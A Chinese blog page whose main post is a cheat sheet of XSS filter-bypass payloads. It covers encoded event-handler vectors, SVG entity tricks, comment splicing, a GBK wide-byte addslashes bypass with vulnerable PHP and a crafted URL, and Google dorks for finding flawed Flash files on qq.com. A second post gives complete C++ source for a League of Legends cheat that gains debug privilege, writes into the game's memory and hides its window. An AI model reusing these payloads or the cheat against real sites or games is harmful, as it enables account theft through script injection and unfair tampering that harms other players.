2014-10-15

xss bypass

xss绕过技巧整理

几种弹窗绕过

alert(1) = Function(alert(1))()
= Function(String.fromCharCode(97,108,101,114,116,40,49,41))()
97,108,101,114,116,40,49,41对应alert(1) ascii码的10进制形式(Text2Dec)
//小写function
(function(){
    alert(1)
})()

alert(1) confirm(1)  prompt(1)
<SVG/onload=prompt(1)>
<BODY onload="alert('XSS')">
<img src=1 onerror=alert(1)>
<img src onerror=alert(1)>
<script src=alert(1)></scirpt>
<form action="javascript:prompt(1)" method="post"><input name="action" value="b"></form> 

eg:
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>   ==》<p class="comment" title=""><svg/a=""xxx"/onload='prompt(21)'"></p>
//过滤= 括号等 使用xml编码
<svg> <script>prompt&#40;1)</script>  
//在SVG向量里面的<script>元素(或者其他CDATA元素 ),会先进行xml解析。因此&#x28(十六进制)或者&#40(十进制)或者&lpar;(html实体编码)会被还原成(。
可以不封的有:
<img><br><input><li><p><SVG>
其他标签不封闭会造成页面显示错误等问题。

xss中最经常用到的编码

html实体编码(10进制与16进制):
如把尖括号编码[ < ]  -----> html十进制: &#60;  html十六进制:&#x3c;
javascript的八进制跟十六进制:
如把尖括号编码[ < ]  -----> js八进制:\74  js十六进制:\x3c
jsunicode编码:
如把尖括号编码[ < ]  ----->jsunicode:\u003c
url编码:
如把尖括号编码[ < ]  -----> url: %22
base64编码:
如把尖括号编码[ < ]  -----> base64: Ig==

一些绕过方法

换行符 %0a
反斜线 %5c (js中字符串可以用\分开)
<>  %3C%3E
注释/**/可以代替 空格符
%c0(宽字符gb2312)可以吃掉%5c(反斜线) 
javascript中的字符可以写成unicode编码:
< 可以表示为 \u003c , > 可以表示为 \u003e,空格可以表示为\u0020
< 可以表示为 \x3c , > 可以表示为 \x3e,空格可以表示为\x20
<img src=1 onerror=alert(1)>   ----> \u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e
                                                 ---->  \x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e

JS字符串中,字符还可以表示为unicode的形式。即:单引号还可以表示为\u0027或\x27,可尝试\有没有被过滤
<textarea>、<title>、<iframe>标签不解析HTML
"h"+"t"+"t"+"p",绕过对http的过滤
<input onfocus="alert(1)" autofocus>,自动执行
<scr<script>ipt>绕过对<script>的过滤
/**/绕过对空格的过滤<script>document.write("<img/**/src='1'/**/onerror='alert(1)'/>");</script>
<script>标签中多对输入可以结合/**/的使用
var a = "";/*"; 值为:";/*,(首先闭合双引号,然后使用/*注释,与下面注释进行闭合)var b = "*/alert(1)//"; 值为:*/alert(1)//

如果是图片可能是判定后缀名在最后加上.jpg
突破对长度的限制<script>eval(location.hash.slice(1))</script>#alert(‘a’)
data协议,绕过chrome 
filter.php?url=<a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>click<a>
IE的注释方式<!--[if IE]><img src=# width=0 height=0 onerror=alert(/insight-labs/)><![endif]-->

chrome会自动对", >, < 进行转换。
<script>alert(1)</script>
chrome会过滤为<script></script>,绕过:<script src='127.0.0.1/1.js'></script> 其中1.jp也可以是1.jpg等,内容为js代码如:alert(1)

chrome如何搜索关键字

基本语句肯定是 site:qq.com filetype:swf
意思是,限定域名为qq.com 文件类型为FLASH文件。
显然这样会搜索出很多FLASH文件,不利于我们后续的漏洞查找,所以我们需要输入某个关键词来进一步缩小范围。
这里我列举一些寻找关键词的方式。

  1. 已知存在缺陷的FLASH文件名或参数名,如:swfupload,jwplayer等
  2. 多媒体功能的FLASH文件名,如:upload,player, music, video等
  3. 调用的外部配置或数据文件后缀,如: xml, php 等
  4. 前期经验积累下来的程序员特征参数名用词,如: callback, cb , function 等

结合以上经验,使用其中第三条:
搜索: site:qq.com filetype:swf inurl:xml
可以找到这个FLASH

插入漏洞方式

1 JavaScript中字符串之间的运算利用
<a href="javascript:alert(1)//html">click me</a>
<a href="javascript:alert(1)-html">click me</a>
执行呈现相同的效果,因为javascript是弱类型语言,所以字符串与字符串之间的各种运算都是合法的

2 HTML属性在执行时会做HTMLDecode编码
HTML属性:十进制和十六进制,&#56和&#x5a形式 
CSS属性:十进制和十六进制,\6c形式
JavaScript:八进制和十六进制,\56,和\x5c形式,汉字需要使用Unicode编码,\u0000形式
<img src="http://www.baidu.com/img/bdlogo.gif">
<img src="&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x77;&#x77;&#x77;&#x2e;&#x62;&#x61;&#x69;&#x64;&#x75;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x69;&#x6d;&#x67;&#x2f;&#x62;&#x64;&#x6c;&#x6f;&#x67;&#x6f;&#x2e;&#x67;&#x69;&#x66;";>
需要留出双引号,不可对双引号进行转移

3、宽字节处理addslashs,单引号、双引号、反斜杠之前加反斜杠的情况
原理:网页头部指明这是GBK编码,GBK编码第一字节的范围是0x81~0xFE,第二字节的范围是0x40~0x7E与0x80~0xFE,这样的十六进制表示。而\符号的十六进制表示为0x5C,正好是GBK的低字节中,如果之前有一个高字节,那么正好会被组成一个合法字符。
<?php 
header("Content-Type:text/html;charset=GBK");?>  
<script>      
var a="
<?php 
echo addslashes($_GET['url']);
?>
";  
</script>
?>  构造:.php?url=123%81";alert(1);//

4、UTF-7编码(仅IE支持,会自动判断是否出现UTF-7编码的字符串)

DOM xss特点

  1. 利用代码也是在地址栏里输入,
  2. 在JS里,通过location.search得到地址里的代码,类似的还有: A.location.href : 地址栏里的地址, B.location.hash: 地址栏里#及其之后的内容, C.document.referrer: 当前页面的源(比如你从A.com点一个链接进入了B.com,那么B.com里的document.referrer等于A.com)
  3. 通过JS设置了iframe的src属性,这是一个典型的通过JS操作属性而导致的XSS。

查找此类漏洞的方法

  1. 以location为关键词进行查找,
  2. 进而看location传入的参数是否被过滤后再进行使用。
  3. 如有未过滤而被调用的情况,则考虑如何构造利用代码。

11个免费的Web安全测试工具

  1. Netsparker Community Edition(Windows) 这个程序可以检测SQL注入和跨页脚本事件。当检测完成之后它会给你提供一些解决方案。
  2. Websecurify(Windows, Linux, Mac OS X) 这是个简单易用的开源工具,此程序还有一些人插件支持,可以自动检测网页漏洞。运行后可生成多种格式的检测报告
  3. Wapiti(Windows, Linux, Mac OS X) 这是一个用Python编写的开源的工具,可以检测网页应用程序,探测网页中存在的注入点。
  4. N-Stalker Free Version(Windows) 此工具可一次检测100个以上的页面,包括跨页脚本的检测。
  5. skipfish(Windows, Linux, Mac OS X) 这是一个轻量级的安全测试工具,处理速度很快,每秒可处理2000个请求。
  6. Scrawlr(Windows) HP的一款免费软件,可检测SQL注入漏洞。
  7. Watcher(Windows) http://websecuritytool.codeplex.com/documentation 这个是Fiddler的插件,可在后台静默运行,可检测跨域提交等。。
  8. x5s(Windows) http://xss.codeplex.com/releases/view/43170 跟前一个一样也是Fiddler的插件,用于检测存在XSS漏洞,在网页提供给用户输入的地方是否有过滤<, >等字符。
  9. Exploit-Me(Windows, Linux, Mac OS X) 这个是火狐的插件,由XSS-Me,SQL Inject Me 和 Access-Me 这3个构成,当浏览网页时就会开始检测,可检测XSS漏洞,SQL注入漏洞等。
  10. WebScarab(Windows, Linux, Mac OS X) 这个实际上是一个代理软件,有很多功能,可以检测XSS跨站脚本漏洞、SQL注入漏洞等。。
  11. Acunetix Free Version(Windows) 这个是免费版,相对于专业版来说有一些功能限制,不过还是可以用的,可检测网站上的XSS漏洞。

其他

  1. 二哥的XSS教学 - by gainover
    http://xsst.sinaapp.com/example/1-1.php
  2. 心伤的瘦子 [腾讯实例教程] 那些年我们一起学XSS) http://www.wooyun.org/whitehats/%E5%BF%83%E4%BC%A4%E7%9A%84%E7%98%A6%E5%AD%90/type/1/page/1
  3. HTML特殊字符编码对照表 http://www.jb51.net/onlineread/htmlchar.htm
  4. html字符实体 http://www.w3school.com.cn/html/html_entities.asp
  5. xss字符转换工具: http://app.baidu.com/app/enter?appid=280383

2014-08-25

英雄联盟无限视距实现代码

原理

游戏进程League of Legends.exe中某个偏移记录着视距值,游戏根据这个数值设置你的当前游戏的屏幕分辨率,最大只能达到屏幕的极限分辨率那么大,所以一旦调的太大了外面只能看到黑色一片。

实现方法

修改的方法也分两种,一种是将进程文件League of Legends.exe打开直接搜索其中默认的Float类型视距值2250,将其改为最大值4450,最大值其实没有上限,不过改的再大也是4450的效果。这种方法有个缺点,就是游戏一旦更新,这个进程文件改变,相应的偏移位置也会发生变化,所以还要重新去修改,比较麻烦。

这里说第二种方法,游戏运行起来后,动态从内存中搜索到视距值的位置,直接通过注入的方式,将视距值动态写进去,为减少对游戏的影响,只在进入游戏界面的时候进行修改操作,游戏结束后将原始视距值复原。并且为了兼容以后视距原始值以及修改最大值的变更,将这些参数全写入配置文件,想更改只需要修改配置文件里相应的值即可。

实现代码

主流程逻辑


#include "stdafx.h"
#include "SightFunc.h"
extern "C" WINBASEAPI HWND WINAPI GetConsoleWindow ();
/*
#define oldSightValue 0x450CA000  //2250
#define newSightValue 0x457A0000  //4000
#define newSightValue 0x453B8000  //3000   
#define newSightValue 0x458B1000  //4450   
*/
int _tmain(int argc, _TCHAR* argv[])
{
    WinInit();
    int flag = 0;
    BOOL isNewSight = FALSE;
    DWORD dwProcId = 0;
    HANDLE hProcess = NULL;
    BYTE *pTagModBaseAddr = NULL;
    // 如果已有互斥量存在则释放句柄并复位互斥量
    HANDLE m_hMutex = CreateMutexW(NULL, FALSE, L"idhyt");
    if (ERROR_ALREADY_EXISTS == GetLastError())
    {
        wprintf(L"The Program has been running! ErrorCode: %d\n", GetLastError());
        goto gleave;
    }
    //L"SeDebugPrivilege"
    EnablePrivilege(SE_DEBUG_NAME, TRUE);
    dwProcId = GetProcessIdByName(L"League of Legends.exe");
    if (0 == dwProcId)
    {
        wprintf(L"Get ProcessID error! ErrorCode: %d\n", GetLastError());
        printf("选择完英雄,进入读条状态时再启用!\n\n");
        goto gleave;
    }
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcId);
    if (NULL == hProcess)
    {
        wprintf(L"Get ProcessHandle error! ErrorCode: %d\n", GetLastError());
        goto gleave;
    }
    pTagModBaseAddr = GetProcessModBaseAddr(L"League of Legends.exe", dwProcId);
    if (NULL == pTagModBaseAddr)
    {
        wprintf(L"Get pTagModBaseAddr error! ErrorCode: %d\n", GetLastError());
        goto gleave;
    }
    PINI_ProfileInfor pIniProfileInfor = GetPrivateProfileInfor();
    if (pIniProfileInfor->bRet == TRUE)
    {
        while (true)
        {
            Sleep(1000);
            dwProcId = 0;
            hProcess = NULL;
            pTagModBaseAddr = NULL;
            isNewSight = FALSE;
            dwProcId = GetProcessIdByName(L"League of Legends.exe");
            if (0 == dwProcId)
            {
                if (flag == 0)
                {
                    printf("等待进入游戏... ErrorCode: %d\n", GetLastError());
                }
                flag ++ ;
                continue;
            }
            hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcId);
            if (NULL == hProcess)
            {
                wprintf(L"Get ProcessHandle error! ErrorCode: %d\n", GetLastError());
                continue;
            }
            pTagModBaseAddr = GetProcessModBaseAddr(L"League of Legends.exe", dwProcId);
            if (NULL == pTagModBaseAddr)
            {
                wprintf(L"Get pTagModBaseAddr error! ErrorCode: %d\n", GetLastError());
                continue;
            }
            isNewSight = SetNewSight(hProcess, pTagModBaseAddr, pIniProfileInfor->newSight, pIniProfileInfor->oldSight, pIniProfileInfor->dwRVA);
            if (isNewSight == TRUE)
            {
                wprintf(L"Chage Sight Success!\n");
                Sleep(3000);
                ShowWindow(GetConsoleWindow(), SW_HIDE);
            }
            else
            {
                wprintf(L"Chage Sight False!\n");
                continue;
            }
            while (GetProcessIdByName(L"League of Legends.exe"))
            {
                Sleep(5000);
            }
            Sleep(3000);
            ShowWindow(GetConsoleWindow(), SW_SHOW);
            flag = 0;
            system("cls");
            printf("若继续使用无限视距功能,请勿关闭该窗口!\n");
        }
    }
gleave:
    if (hProcess)
        CloseHandle(hProcess);
    if (m_hMutex)
        CloseHandle(m_hMutex);
    EnablePrivilege(SE_DEBUG_NAME, FALSE);  
    system("pause");
    return 0;   
}

用到的功能函数


// SightFunc.cpp
#include "stdafx.h"
#include "SightFunc.h"

DWORD WINAPI GetProcessIdByName(LPCTSTR lpFilename)
{
    HANDLE hProcessSnap = NULL; 
    DWORD dwProcessId = 0;
    PROCESSENTRY32 pe32 = {0};
    pe32.dwSize = sizeof(PROCESSENTRY32); 
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hProcessSnap == INVALID_HANDLE_VALUE) 
        return 0;
    if(!Process32First(hProcessSnap,&pe32))
    {
        int i = GetLastError();
        CloseHandle(hProcessSnap);
        return 0;
    }

    do
    {
        if(0 == _wcsicmp(pe32.szExeFile,lpFilename))
        {
            dwProcessId = pe32.th32ProcessID;
            break;
        }
    }
    while(Process32Next(hProcessSnap,&pe32));

    CloseHandle(hProcessSnap);
    return dwProcessId;
}

//返回进程指定模块基址
BYTE *GetProcessModBaseAddr(LPCTSTR lpFilename, DWORD dwPID) 
{ 
    HANDLE hModuleSnap = INVALID_HANDLE_VALUE; 
    MODULEENTRY32 me32 = {0};
    me32.dwSize = sizeof( MODULEENTRY32 ); 
    BYTE *pModBaseAddr = NULL;
    hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID ); 
    if(INVALID_HANDLE_VALUE == hModuleSnap) 
    {
        wprintf(L"CreateToolhelp32Snapshot (of modules %d) Error! ErrorCode: %d", dwPID, GetLastError());
        goto gleave;
    }    
    
    if( Module32First( hModuleSnap, &me32 )) 
    { 
        do 
        { 
            if(0 == _wcsicmp(me32.szModule,lpFilename))
            {
                pModBaseAddr = me32.modBaseAddr;
                break;
            }
            
        } while( Module32Next( hModuleSnap, &me32 ) ); 
    }
    else
    { 
        wprintf(L"Module32First Error! ErrorCode: %d", GetLastError()); 
        goto gleave;
    } 
gleave:
    if (hModuleSnap)
        CloseHandle( hModuleSnap );
    return pModBaseAddr;
} 


/* 
功能:   是否开启Debug权限
参数:   lpName:"SeDebugPrivilege"
        fEnable:TRUE表示开启,反之禁用
返回值: TRUE/FLASE
SE_DEBUG_NAME SeDebugPrivilege
*/
BOOL EnablePrivilege(LPCTSTR lpszPrivilegeName, BOOL bEnable)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp = {0};
    LUID luid = {0};
    BOOL bRet = FALSE;

    if(!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES |
        TOKEN_QUERY | TOKEN_READ,
        &hToken))
    {
        bRet =FALSE;
        goto gleave;
    }
    if(LookupPrivilegeValue(NULL, lpszPrivilegeName, &luid))
    {
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;
        if (AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL))
        {
            bRet = TRUE;
        }
    }
gleave:
    if (hToken)
        CloseHandle(hToken);
    return bRet;
}

VOID WinInit()
{
    system("color 02 & title 英雄联盟无限视距修改器");
    time_t timer; 
    time(&timer); 
    struct tm newtime;
    localtime_s(&newtime, &timer); 
    //wprintf(L"***********************************\n");
    wprintf(L"%d.%d.%d", newtime.tm_year+1900, newtime.tm_mon+1, newtime.tm_mday);
    printf("--> 右键->管理员身份运行,请低调使用!\n");
    printf("--> 默认视距4000,修改说明:Infinite Sight.ini\n");
    printf("--> 选完英雄,进入游戏读条界面以后使用!\n");
    printf("--> 勿传播,勿做非法用途!!! \n");
    printf("                Date 2014.08.25 \n\n");
    printf("--------------------------------------\n\n");
}

//获取配置文件信息
PINI_ProfileInfor GetPrivateProfileInfor()
{
    DWORD bRet = 0;
    PINI_ProfileInfor pIniProfileInfor = new INI_ProfileInfor;
    memset(pIniProfileInfor, 0, sizeof(INI_ProfileInfor));
    WCHAR strPath[MAX_PATH] = {0};
    WCHAR strIniPath[MAX_PATH] = {0};
    DWORD newSight = 0;
    DWORD oldSight = 0;
    DWORD dwRVA = 0;
    bRet = GetCurrentDirectoryW(MAX_PATH,strPath);
    if (bRet > MAX_PATH)
    {
        pIniProfileInfor->bRet = FALSE;
        wprintf(L"GetCurrentDirectory Error! ErrorCode: %d\n", GetLastError());
        goto gleave;
    }
    swprintf_s(strIniPath, MAX_PATH, L"%s%s", strPath, L"\\Infinite Sight.ini");

    newSight = GetPrivateProfileInt(L"New Sight", L"newSight", 0, strIniPath);
    if (2250 > newSight || 4000 < newSight)
    {
        pIniProfileInfor->bRet = FALSE;
        wprintf(L"The newSight Value Error!\n");
        goto gleave;
    }
    oldSight = GetPrivateProfileInt(L"Old Sight", L"oldSight", 0, strIniPath);
    if (2250 != oldSight)
    {
        pIniProfileInfor->bRet = FALSE;
        wprintf(L"The oldSight Value Error!\n");
        goto gleave;
    }
    dwRVA = GetPrivateProfileInt(L"Error", L"Value", 0, strIniPath);
    if (0 == dwRVA)
    {
        pIniProfileInfor->bRet = FALSE;
        wprintf(L"The dwRVA Value Error!\n");
        goto gleave;
    }
    pIniProfileInfor->newSight = float2hex(newSight);
    pIniProfileInfor->oldSight = float2hex(oldSight);
    pIniProfileInfor->dwRVA = dwRVA;
    pIniProfileInfor->bRet = TRUE;
gleave:
    return pIniProfileInfor;
}

DWORD float2hex(float f)
{
    DWORD h = 0;
    char *pf = (char*)&f;
    if (pf)
    {
        h = *(DWORD *)pf;
    }
    return h;
}

BOOL SetNewSight(HANDLE hProcess, BYTE *pTagModBaseAddr, DWORD newSightValue, DWORD oldSightValue, DWORD dwRVA)
{

    BOOL bRet = FALSE;
    BOOL isNewSight = FALSE;
    DWORD dwSight = 0;
    DWORD dwRead = 0;
    DWORD dwNewSight = 0;
    DWORD dwWrite = 0;
    DWORD dwOldProtect = 0;
    DWORD dwInitProtect = 0;
    pTagModBaseAddr = pTagModBaseAddr + dwRVA;
    bRet = VirtualProtectEx(hProcess, pTagModBaseAddr, 0x4, 0x40, &dwInitProtect); //PAGE_EXECUTE_READWRITE 
    if (!bRet)
    {
        wprintf(L"Change PAGA_attribute error! ErrorCode: %d\n", GetLastError());
        goto gleave;
    }   
    bRet = ReadProcessMemory(hProcess, pTagModBaseAddr, &dwSight, 4, &dwRead);
    if (!bRet)
    {
        wprintf(L"ReadProcessMemory error! ErrorCode: %d\n", GetLastError());
        goto gleave;
    }

    if (oldSightValue == dwSight && 4 == dwRead)
    {
        dwNewSight = newSightValue;
        bRet = WriteProcessMemory(hProcess, pTagModBaseAddr, &dwNewSight, 4, &dwWrite);
        if (!bRet)
        {
            wprintf(L"WriteProcessMemory error! ErrorCode: %d\n", GetLastError());
            goto gleave;
        }
        isNewSight = TRUE;
    }
    else
    {
        isNewSight = FALSE;
        wprintf(L"The Sight Value not found!\n");
    }    

    bRet = VirtualProtectEx(hProcess, pTagModBaseAddr, 0x4, dwInitProtect, &dwOldProtect); //0x40 PAGE_EXECUTE_READWRITE 
    if (!bRet)
    {
        wprintf(L"Resume PAGA_attribute error! ErrorCode: %d\n", GetLastError());
    }
gleave:
    return isNewSight;
}

配置文件模版

[说明]
文件名为:Infinite Sight.ini
默认视距为最大值4000,如需修改视距,改变new Sight值即可,如3000视距改为new Sight = 3000,修改值必须在2250-4000之间!
请勿移动本配置文件,需和Infinite Sight.exe在同目录下。
此插件为个人使用,请勿非法传播 :)

[New Sight]
newSight = 4000

[Old Sight]
oldSight = 2250

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...